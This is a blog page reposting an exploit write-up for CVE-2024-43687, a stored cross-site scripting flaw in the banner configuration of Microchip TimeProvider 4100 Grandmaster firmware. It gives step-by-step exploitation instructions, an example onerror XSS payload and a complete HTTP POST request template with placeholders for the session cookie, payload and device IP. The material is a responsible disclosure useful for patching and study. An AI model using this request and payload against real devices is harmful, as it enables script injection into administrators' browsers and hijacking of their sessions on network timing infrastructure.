Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86396384

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS)

# Exploit Author: Armando Huesca Prida

# Discovered By: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli

# Date of Disclosure: 27/06/2024

# Date of CVE Publication: 4/10/2024

# Exploit Publication: 10/10/2024

# Vendor Homepage: https://www.microchip.com/

# Version: Firmware release 1.0 through 2.4.7

# Tested on: Firmware release 2.3.12 

# CVE: CVE-2024-43687

# External References:

# URL: https://www.cve.org/cverecord?id=CVE-2024-43687

# URL: https://www.0xhuesca.com/2024/10/cve-2024-43687.html

# URL: https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-stored-xss-vulnerability-in-banner

# URL: https://www.gruppotim.it/it/footer/red-team.html





# Vulnerability Description:



The TimeProvider 4100 grandmaster firmware has a stored Cross-Site Scripting (XSS) vulnerability in the custom banner configuration field. A threat actor that exploits this vulnerability is able to execute arbitrary scripts in any user context.





# Exploitation Steps:



1- Log in to the device's web management interface.

2- Open the banner configuration panel.

3- Select the "custom banner" feature.

4- Insert the malicious JavaScript payload.

5- Apply and save the system configuration containing the custom banner.

6- Victims who connect to the device's web management interface will execute the malicious payload in their browser.





# Example of malicious JavaScript payload:



<img src=a onerror=alert(1)>





# Proof of Concept - PoC:



By manually modifying the following request, it is possible to create a new custom device banner containing a malicious JavaScript payload, resulting in a stored XSS vulnerability. The list of values that must be updated in the exploit HTTP request is given below:

- [session cookie]

- [malicious JavaScript payload]

- [device IP]





# Exploit - HTTP Request:



POST /bannerconfig HTTP/1.1

Host: [device IP]

Cookie: ci_session=[session cookie]

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=---------------------------9680247575877256312575038502

Content-Length: 673

Origin: https://[device IP]

Referer: https://[device IP]/bannerconfig

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

Te: trailers

Connection: keep-alive



-----------------------------9680247575877256312575038502

Content-Disposition: form-data; name="user_level"



1

-----------------------------9680247575877256312575038502

Content-Disposition: form-data; name="bannerradio"



CUSTOMIZED

-----------------------------9680247575877256312575038502

Content-Disposition: form-data; name="txtcustom"



[malicious JavaScript payload]



-----------------------------9680247575877256312575038502

Content-Disposition: form-data; name="action"



applybanner

-----------------------------9680247575877256312575038502--







# End